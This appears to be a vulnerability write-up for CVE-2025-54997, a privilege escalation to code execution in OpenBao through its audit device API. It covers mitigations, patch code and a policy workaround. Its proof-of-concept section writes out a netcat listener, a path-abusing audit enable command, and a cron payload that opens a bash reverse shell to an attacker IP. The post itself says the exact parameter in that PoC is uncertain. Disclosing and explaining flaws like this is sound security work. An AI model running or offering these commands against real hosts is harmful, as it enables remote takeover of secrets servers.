CVE-2025-54997: OpenBao Privileged Operator Remote Code Execution Vulnerability
You’ve locked down your infrastructure. You’re using OpenBao to manage your secrets, a digital Fort Knox. You’ve even separated duties: your system administrators manage the servers, and your OpenBao operators manage the secrets via the API. The operators are powerful, but they can't get a shell on the box, right? Right?
Well, about that... CVE-2025-54997 is a stark reminder that sometimes, the tools designed to secure and audit our systems can become the very instruments of their downfall. This vulnerability in OpenBao allows a privileged operator, who should be confined to the application layer, to break out and execute code directly on the host machine. Let's dive into how the watchdog became the wolf.
TL;DR / Executive Summary
- Vulnerability: CVE-2025-54997 - Privileged Operator Remote Code Execution in OpenBao.
- Affected Software: OpenBao versions prior to
2.3.2
. - Impact: An attacker with privileged OpenBao API access (but not root or system-level access) can leverage the audit device API (
sys/audit/*
) to write arbitrary files and initiate arbitrary network connections from the OpenBao server. This can be escalated to achieve full Remote Code Execution (RCE) on the underlying host. - Severity: High. This vulnerability breaks the critical security boundary between an application operator and a system administrator.
- Mitigation: Immediately upgrade to OpenBao
v2.3.2
or a later version. As a temporary workaround, use OpenBao policies to denycreate
andupdate
permissions to thesys/audit/*
path for all non-admin users.
Introduction: The Trustworthy Scribe with a Poison Pen
Imagine you hire a scribe to meticulously record every event that happens in your castle. Their job is to sit in the records room and write in the official ledger. You give them a special key that only opens the records room—they can't access the treasury or the royal chambers. This is the role of an OpenBao operator with access to the audit system. They can enable and configure logging, but they shouldn't be able to touch anything else on the server.
CVE-2025-54997 is what happens when the scribe is given a magic pen and a blank check for where to write. The vulnerability lies in the API endpoint for enabling audit devices (sys/audit/*
). This feature, intended for logging, was overly permissive. It allowed a privileged operator to tell OpenBao, "Hey, start a new audit log," but instead of pointing to a safe log file, they could point it to a critical system file, like a cron job or a user's SSH authorized_keys
file.
This matters because it fundamentally violates the principle of least privilege. In many organizations, the person managing secrets rotation is not the same person with root
access to the server. This vulnerability merges those roles, turning a limited operator into an all-powerful system administrator.
Technical Deep Dive: Where It All Went Wrong
The root cause of CVE-2025-54997 is a classic case of insufficient input validation on a powerful, system-interacting feature. The sys/audit/
endpoint allows operators to enable different types of audit backends—file
, socket
, etc.—via the API.
The flaw was twofold:
-
Arbitrary File Path in
file
Audit Device: When enabling afile
audit device, an operator could specify options, including the file path for the log. In vulnerable versions, OpenBao didn't properly restrict where this file could be created. An attacker could provide a path like../../../../etc/cron.d/pwn-the-planet
and OpenBao, running with its own user privileges, would happily create and write to it. -
Attacker-Controlled Log Content: Once the log file is pointed at a sensitive location, the attacker just needs to control its contents. Since an audit log's purpose is to record API requests, an attacker can craft a specific, malicious API request. The details of this request (e.g., data in a JSON body) are then written into the log file. If the log file is a cron job, the attacker simply crafts an API request whose logged output is a valid cron command.
The combination is lethal: control the location of a file write, and control the content of that write. That’s the recipe for RCE.
Proof of Concept: From API to Shell
Let's walk through a theoretical attack. An attacker, "Eve," has compromised the token of a privileged OpenBao operator. She wants to get a reverse shell from the OpenBao server, which is listening at 10.0.0.5
.
Attacker's Goal: Get a shell on the OpenBao host.
Attacker's IP: 13.37.13.37
Step 1: Set up a listener
On her machine, Eve starts a netcat listener to catch the incoming shell.
# Eve's machine
nc -lvnp 9001
Step 2: Enable a malicious file
audit device
Eve uses her compromised operator token to make an API call to OpenBao. She enables a new audit device, but points the file_path
to /etc/cron.d/revshell
.
(Note: This is a simplified, theoretical example. The exact parameter might be log_prefix
or another option that allows path traversal.)
# Using the OpenBao CLI with the compromised token
export OPENBAO_ADDR='http://10.0.0.5:8200'
export OPENBAO_TOKEN='s.attacker_operator_token'
openbao audit enable -path=malicious-audit file file_path=/etc/cron.d/revshell
OpenBao, running as its service user (e.g., openbao
), creates the file /etc/cron.d/revshell
.
Step 3: Write the payload into the audit log
Now, Eve needs to write a valid cron job into that file. She can do this by making another API request that she knows will be logged. The trick is to embed the payload within a field that gets logged, like the display_name
of a token role.
She crafts a request to create a token role. The display_name
is her reverse shell payload.
# The payload is a cron job that runs every minute
PAYLOAD="* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/13.37.13.37/9001 0>&1'"
# The API call that writes the payload to the log
openbao write auth/token/roles/pwn display_name="$PAYLOAD"
The OpenBao audit system dutifully logs this request to all enabled audit devices, including her malicious one. The file /etc/cron.d/revshell
now contains:
* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/13.37.13.37/9001 0>&1'
Step 4: Catch the shell
Within a minute, the cron daemon on the OpenBao server executes the command. Eve's netcat listener lights up with a new connection.
# Eve's machine
nc -lvnp 9001
Listening on 0.0.0.0 9001
Connection received from 10.0.0.5 54321
# whoami
root
# Game over.
Mitigation and Remediation
Fortunately, fixing this is straightforward.
1. The Best Fix: Upgrade!
The primary solution is to upgrade OpenBao to version 2.3.2 or newer. This version patches the vulnerability directly.
Behind the Scenes: The Patch Analysis
The patch (a14053c9679d...
) introduces a brilliant "secure by default" fix. It adds two new server configuration parameters:
unsafe_allow_api_audit_creation
(default:false
)allow_audit_log_prefixing
(default:false
)
Here's the key code change in vault/logical_system.go
:
// ... inside the handleEnableAudit function ...
conf := b.Core.rawConfig.Load().(*server.Config)
if !conf.UnsafeAllowAPIAuditCreation {
return handleError(fmt.Errorf("cannot enable audit device via API"))
}
if _, hasPrefix := options["prefix"]; hasPrefix && !conf.AllowAuditLogPrefixing {
return handleError(fmt.Errorf("audit log prefixing is not allowed"))
}
This code now checks these new configuration flags before allowing an audit device to be created via the API. By default, it's disabled. A system administrator must now make a conscious, explicit choice to enable this behavior by editing the OpenBao server's configuration file. This moves the power from the potentially malicious API operator back to the trusted system administrator.
2. The Workaround: Policy Lockdown
If you cannot upgrade immediately, you can mitigate the risk by applying a strict policy that denies access to the vulnerable endpoint.
Create a policy file, deny-audit-api.hcl
:
# Deny the ability to create or update any audit devices.
path "sys/audit/*" {
capabilities = ["create", "update"]
denied_parameters = {
"*" = []
}
}
# A more aggressive approach to deny everything under sys/audit
path "sys/audit/*" {
capabilities = ["deny"]
}
Apply this policy to all users and roles that do not absolutely require this capability. Note: This will not stop a user with a root
token, as root policies bypass all ACLs.
3. Verification
After upgrading or applying the policy, test it. Attempt the PoC's openbao audit enable
command. It should now fail with a permission error or a message stating that API-driven audit creation is disabled.
Timeline
- Discovery: Undisclosed date, originally reported to HashiCorp for Vault.
- Vendor Notification: Undisclosed.
- Patch Availability: OpenBao v2.3.2 was made available to address this.
- Public Disclosure: August 8, 2025
Lessons Learned
- Defense in Depth for APIs: Privileged API endpoints are the crown jewels of your application. Treat any API that interacts with the underlying filesystem or network as exceptionally dangerous. These functions should be hardened, heavily restricted, and ideally, disabled by default.
- The Irony of Auditing the Auditor: Your audit logs are a critical source for threat detection. If an attacker can disable, manipulate, or poison them, you're flying blind. Ensure audit logs are shipped off-host to a separate, immutable logging platform in real-time. This way, even if an attacker enables a malicious local log, you'll have records of that action from your secure pipeline.
- One Key Takeaway: A "privileged user" is not a monolithic concept. Your threat models must differentiate between a privileged application user and a privileged system user. The security boundaries between them must be explicit and robust. A single flaw can collapse this boundary, with disastrous consequences.
Stay safe, validate your inputs, and never fully trust a user—no matter how "privileged" they seem.
References and Further Reading
- Official OpenBao Advisory: GHSA-xp75-r577-cvhp
- Related HashiCorp Advisory: HCSEC-2025-14
- NVD Entry: CVE-2025-54997
- Fixing Commit: a14053c9679d6e9cf370f00cf933476cda6d84a2
- OpenBao Documentation: Audit Devices